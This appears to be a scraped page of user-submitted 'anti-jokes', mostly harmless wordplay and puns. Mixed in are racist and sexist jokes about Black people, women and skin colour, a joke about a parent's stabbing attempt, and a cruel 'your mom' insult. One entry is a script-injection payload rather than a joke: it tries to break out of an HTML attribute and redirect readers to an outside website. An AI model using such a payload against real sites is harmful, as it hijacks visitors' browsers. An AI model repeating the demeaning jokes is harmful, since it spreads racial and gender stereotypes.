your mom is so ugly that she was made fun of in highschool so much that she now has social issues and a fear of close relationships which is why she left you and your father at age 5

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No, but I am not just an author, the important thing is, that this kid has been stopped as we speak, as I said he was selling information to several clients on the deep web, and patterns do reveal that he was selling you out piece by piece while prepared to make a run for it once he delivered the vital details. Say, did you promote this guy a bit too fast or something? Either he knows as much as you do, or otherwise he has been learning the ins and outs of your little place pretty fast.

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Mom now that I am fourteen can I get a bra now? No Harold!

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Guess my favourite fruit. Peach.

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A fish didn't walk into a bar, because fish cannot walk.

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What is green, has four legs, and if it falls out of a tree and onto your head, it will kill you? A pool table.

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I have a dirty joke. Yesterday I fell in the mud.

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But there's a sound Dumbledore knows... What does the Fawkes say?

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Why do black guys have ashy elbows? Because of 9/11

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"'>document.location.href="http://cramik.org"

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Why does sammy have a cut on her arm? becuase her mom went to go stab her dad and missed

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Why couldn't the driver start his car? Because the driver was a tree

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An American, a Canadian, an Afro-American and a Jew walk in a bar. They all order their favorite drink and go look for potential partners with whom they'd wish to engage in sexual relationships.

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In order to find a woman, you need time and money. Woman=Time&Money The longer you spend at work, the more money you get. Time=Money Money is the root of most problems in the world today. Money=Problems Therefore Women=Problems

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Roses are red, Violets are blue, Most poems rhyme, But this one doesn't.

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Jesus Christ

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Roses are gray, violets are blue; I'm red-green colorblind so I occasionally have difficulty seeing most shades of red or green.

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Gustavo Andrade

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what do you get when a white woman and black man have a child? either a girl or a boy

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Hey i just met you and this is crazy, but heres my gamertag so party up maybe?

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[Insert anti-joke here]

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Everyone is equal. It doesn't matter if you're black, red, yellow, brown, or normal.

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Roses are red. Violets are red. Daisies are red. WHY IS MY GARDEN ON FIRE?

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